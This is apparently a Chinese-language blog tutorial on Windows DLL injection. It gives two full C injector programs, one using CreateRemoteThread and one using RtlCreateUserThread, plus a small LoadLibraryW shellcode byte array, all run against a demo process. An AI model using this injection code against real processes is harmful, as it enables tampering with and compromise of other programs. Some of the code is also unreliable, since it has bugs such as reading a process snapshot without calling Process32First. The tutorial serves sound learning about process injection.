1. CreateRemoteThread
本文參考前輩的文章https://www.cnblogs.com/wf751620780/,對原理有了很大了解
首先CreateRemoteThread函數的原型如下,它很像CreateThread函數。不同的是,前者是遠程創建線程,后者是在自己的進程下創建線程。我們用前者來注入DLL:
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
兩個函數的區別就是第一個句柄行參,hProcess表示創建的新線程屬於哪一個進程。
注入的過程如下:
(1).用VirtualAllocEx函數在目標進程的地址空間中分配一塊足夠大的內存用於保存被注入的dll的路徑。
(2).用WriteProcessMemory函數把本進程中保存dll路徑的內存中的數據拷貝到第(1)步得到的目標進程的內存中。
(3).用GetProcAddress函數獲得LoadLibraryW函數的起始地址。LoadLibraryW函數位於Kernel32.dll中。
(4).用CreateRemoteThread函數讓目標進程執行LoadLibraryW來加載被注入的dll。函數結束將返回載入dll后的模塊句柄。
(5).用VirtualFreeEx釋放第(1)步開辟的內存。
在需要卸載dll時我們可以在上述第(5)步的基礎上繼續執行以下步驟:
(6).用GetProcAddress函數獲得FreeLibrary函數的起始地址。FreeLibrary函數位於Kernel32.dll中。
(7).用CreateRemoteThread函數讓目標進程執行FreeLibrary來卸載被注入的dll。(其參數是第(4)步返回的模塊句柄)。
如果不在上述步驟基礎上執行操作,卸載dll時你需要這么做:
(1).獲得被注入的dll在目標進程的模塊句柄。
(2).重復上述步驟的第(6)、(7)兩步。
需要明確幾點,首先用的調用dll函數是LoadLibraryW,因為不管是LoadLibrary還是LoadLibraryA,翻譯到底層用的都是寬字符函數LoadLibraryW。第二使用GetProcAddress獲得LoadLibraryW函數起始位置。
第三,DLL的絕對路徑需要放在用WriteProcessMemory寫到目標程序的內存空間下面,而分配這個內存空間使用的函數是VirtualAllocEx
這兩個函數原型是:
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten );
運行環境win10+vs2019。代碼如下:
#include "windows.h" #include "stdio.h" #include "tlhelp32.h" #include "io.h" #include "tchar.h" //判斷某模塊(dll)是否在相應的進程中 //dwPID 進程的PID //szDllPath 查詢的dll的完整路徑 BOOL CheckDllInProcess(DWORD dwPID, LPCTSTR szDllPath) { BOOL bMore = FALSE; HANDLE hSnapshot = INVALID_HANDLE_VALUE; MODULEENTRY32 me = { sizeof(me), }; if (INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)))//獲得進程的快照 { _tprintf(L"CheckDllInProcess() : CreateToolhelp32Snapshot(%d) failed!!! [%d]\n", dwPID, GetLastError()); return FALSE; } bMore = Module32First(hSnapshot, &me);//遍歷進程內得的所有模塊 for (; bMore; bMore = Module32Next(hSnapshot, &me)) { if (!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath))//模塊名或含路徑的名相符 { CloseHandle(hSnapshot); return TRUE; } } CloseHandle(hSnapshot); return FALSE; } //向指定的進程注入相應的模塊 //dwPID 目標進程的PID //szDllPath 被注入的dll的完整路徑 BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess = NULL;//保存目標進程的句柄 LPVOID pRemoteBuf = NULL;//目標進程開辟的內存的起始地址 DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);//開辟的內存的大小 LPTHREAD_START_ROUTINE pThreadProc = NULL;//loadLibreayW函數的起始地址 HMODULE hMod = NULL;//kernel32.dll模塊的句柄 BOOL bRet = FALSE; if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))//打開目標進程,獲得句柄 { _tprintf(L"目標進程打開失敗 OpenProcess(%d)!!! [%d]\n", dwPID, GetLastError()); goto INJECTDLL_EXIT; } pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);//在目標進程空間開辟一塊內存 if (pRemoteBuf == NULL) { _tprintf(L"分配空間失敗VirtualAllocEx() failed!!! [%d]\n", GetLastError()); goto INJECTDLL_EXIT; } if (!WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL))//向開辟的內存復制dll的路徑 { _tprintf(L"向目標空間復制路徑失敗 WriteProcessMemory() failed!!! [%d]\n", GetLastError()); goto INJECTDLL_EXIT; } hMod = GetModuleHandle(L"kernel32.dll");//獲得本進程kernel32.dll的模塊句柄 if (hMod == NULL) { _tprintf(L"InjectDll() : GetModuleHandle(\"kernel32.dll\") failed!!! [%d]\n", GetLastError()); goto INJECTDLL_EXIT; } pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");//獲得LoadLibraryW函數的起始地址 if (pThreadProc == NULL) { _tprintf(L"InjectDll() : GetProcAddress(\"LoadLibraryW\") failed!!! [%d]\n", GetLastError()); goto INJECTDLL_EXIT; } if (!CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL))//執行遠程線程 { _tprintf(L"InjectDll() : MyCreateRemoteThread() failed!!!\n"); goto INJECTDLL_EXIT; } INJECTDLL_EXIT: bRet = CheckDllInProcess(dwPID, szDllPath);//確認結果 if (pRemoteBuf) { MessageBox(NULL,L"注入成功",L"注入成功",NULL); VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); } if (hProcess) CloseHandle(hProcess); return bRet; } //讓指定的進程卸載相應的模塊 //dwPID 目標進程的PID //szDllPath 被注入的dll的完整路徑,注意:路徑不要用“/”來代替“\\” BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath) { BOOL bMore = FALSE, bFound = FALSE, bRet = FALSE; HANDLE hSnapshot = INVALID_HANDLE_VALUE; HANDLE hProcess = NULL; MODULEENTRY32 me = { sizeof(me), }; LPTHREAD_START_ROUTINE pThreadProc = NULL; HMODULE hMod = NULL; TCHAR szProcName[MAX_PATH] = { 0, }; if (INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID))) { _tprintf(L"EjectDll() : CreateToolhelp32Snapshot(%d) failed!!! [%d]\n", dwPID, GetLastError()); goto EJECTDLL_EXIT; } bMore = Module32First(hSnapshot, &me); for (; bMore; bMore = Module32Next(hSnapshot, &me))//查找模塊句柄 { if (!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath)) { bFound = TRUE; break; } } if (!bFound) { _tprintf(L"EjectDll() : There is not %s module in process(%d) memory!!!\n", szDllPath, dwPID); goto EJECTDLL_EXIT; } if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) { _tprintf(L"EjectDll() : OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError()); goto EJECTDLL_EXIT; } hMod = GetModuleHandle(L"kernel32.dll"); if (hMod == NULL) { _tprintf(L"EjectDll() : GetModuleHandle(\"kernel32.dll\") failed!!! [%d]\n", GetLastError()); goto EJECTDLL_EXIT; } pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "FreeLibrary"); if (pThreadProc == NULL) { _tprintf(L"EjectDll() : GetProcAddress(\"FreeLibrary\") failed!!! [%d]\n", GetLastError()); goto EJECTDLL_EXIT; } if (!CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL)) { _tprintf(L"EjectDll() : MyCreateRemoteThread() failed!!!\n"); goto EJECTDLL_EXIT; } bRet = TRUE; EJECTDLL_EXIT: if (hProcess) CloseHandle(hProcess); if (hSnapshot != INVALID_HANDLE_VALUE) CloseHandle(hSnapshot); return bRet; } int main() { InjectDll(19220, L"S:\\panny_dll.dll"); EjectDll(19220, L"S:\\panny_dll.dll"); return 0; }
我們啟動一個demo並獲得它的pid:
然后獲得我們需要注入的DLL的絕對路徑,開始攻擊:
用的查詢注入是否成功的方法是用進程快照搜索進程空間是否有目標dll的方式,同反調試技術,運行就會彈出注入成功框:
同時Process Explore可以看到目標dll:
2. RtlCreateUserThread
不同於前面直接調用win api, RtlCreateUserThread是CreateRemoteThread的底層實現,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一樣的,這個函數可以實現跨會話創建線程。唯一的問題就是:當我們在Vista 之前的操作系統調用此函數所創建的線程並沒有通知給csrss 進程,它沒有完整的初始化,在調用一些網絡或者其它的系統函數的時候他可能返回失敗,而通過CreateRemoteThread 創建的線程沒有任何問題,在Vista+的操作系統上調用此函數也沒有問題。因此我們需要判斷系統版本,當目標系統為Vista-的時候,我們應該通過RtlCreateUserThread創建一個掛起的線程,然后調用CsrClientCallServer通知csrss 這個線程的創建,然后csrss 做相應的記錄及初始化工作之后,我們再恢復線程的執行。最后,我們新創建的線程必須自己調用ExitThread退出,否則也會產生崩潰的情況。
LoadLibraryW函數調用原型:
typedef DWORD(WINAPI* pRtlCreateUserThread)( //函數原型 IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN LPVOID StartAddress, IN LPVOID StartParameter, OUT HANDLE ThreadHandle, OUT LPVOID ClientID );
LoadLibraryW
函數shellcode:
BYTE StaticShellCode[31] = { 0xE8,0,0,0,0, // call (5字節) 4 0x5D, // pop ebp 5 0x8B,0xC5, // mov eax,ebp 7 0x83,0xC0,0x1A, // add eax,1a 10 0x50, // push eax 11 0xB8,0,0,0,0, // mov eax,LoadLibraryW 16 0xFF,0xD0, // call eax 18 0x6A,0, // push 0 20 0xB8,0,0,0,0, // mov eax,ExitThread 25 0xFF,0xD0, // call eax 27 0xC3, // ret 4 28 0};
代碼如下:
(整體邏輯一樣,就不詳細備注)
#include <Windows.h> #include <tlhelp32.h> #include <stdio.h> #include <iostream> #include <string> DWORD findPidByName(const char* pname) //獲得pid函數,對上面的查找進行改進 { HANDLE h; PROCESSENTRY32 procSnapshot; h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); procSnapshot.dwSize = sizeof(PROCESSENTRY32); do { if (!_stricmp(procSnapshot.szExeFile, pname)) { DWORD pid = procSnapshot.th32ProcessID; CloseHandle(h); #ifdef _DEBUG printf(("[+]進程地址: %ld\n"), pid); #endif return pid; } } while (Process32Next(h, &procSnapshot)); CloseHandle(h); return 0; } typedef DWORD(WINAPI* pRtlCreateUserThread)( //函數申明 IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN LPVOID StartAddress, IN LPVOID StartParameter, OUT HANDLE ThreadHandle, OUT LPVOID ClientID ); DWORD RtlCreateUserThread(LPCSTR pszLibFile, DWORD dwProcessId) { pRtlCreateUserThread RtlCreateUserThread = NULL; HANDLE hRemoteThread = NULL; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); //打開目標進程pid if (hProcess == NULL) { printf("[-] Error: Could not open process for PID (%d).\n", dwProcessId); exit(1); } LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); //load函數地址 if (LoadLibraryAddress == NULL) { printf(("[-] Error: Could not find LoadLibraryA function inside kernel32.dll library.\n")); exit(1); } RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(("ntdll.dll")), ("RtlCreateUserThread"));//獲取Rtl函數地址 if (RtlCreateUserThread == NULL) { exit(1); } #ifdef _DEBUG printf(("[+]RtlCreateUserThread函數地址: 0x%08x\n"), (UINT)RtlCreateUserThread); printf(("[+]LoadLibraryA函數地址: 0x%08x\n"), (UINT)LoadLibraryAddress); #endif DWORD dwSize = (strlen(pszLibFile) + 1) * sizeof(char); LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//開辟一段地址 if (lpBaseAddress == NULL) { printf(("[-] Error: Could not allocate memory inside PID (%d).\n"), dwProcessId); exit(1); } BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL); //目標dll寫入 if (bStatus == 0) { printf(("[-] Error: Could not write any bytes into the PID (%d) address space.\n"), dwProcessId); return(1); } bStatus = (BOOL)RtlCreateUserThread( hProcess, NULL, 0, 0, 0, 0, LoadLibraryAddress, //shellcode lpBaseAddress, &hRemoteThread, NULL); if (bStatus < 0) { printf(("[-]注入失敗\n")); return(1); } else { printf(("[+]注入成功...\n")); WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hProcess); VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE); return(0); } return(0); } int main() { const char* name = ("菜單dome.exe"); DWORD pId = findPidByName(name); LPCSTR location = ("S:\\panny_dll.dll"); RtlCreateUserThread(location, pId); }
還是運行菜單dome.exe,:
(其實變藍就已經在提示有dll注入了)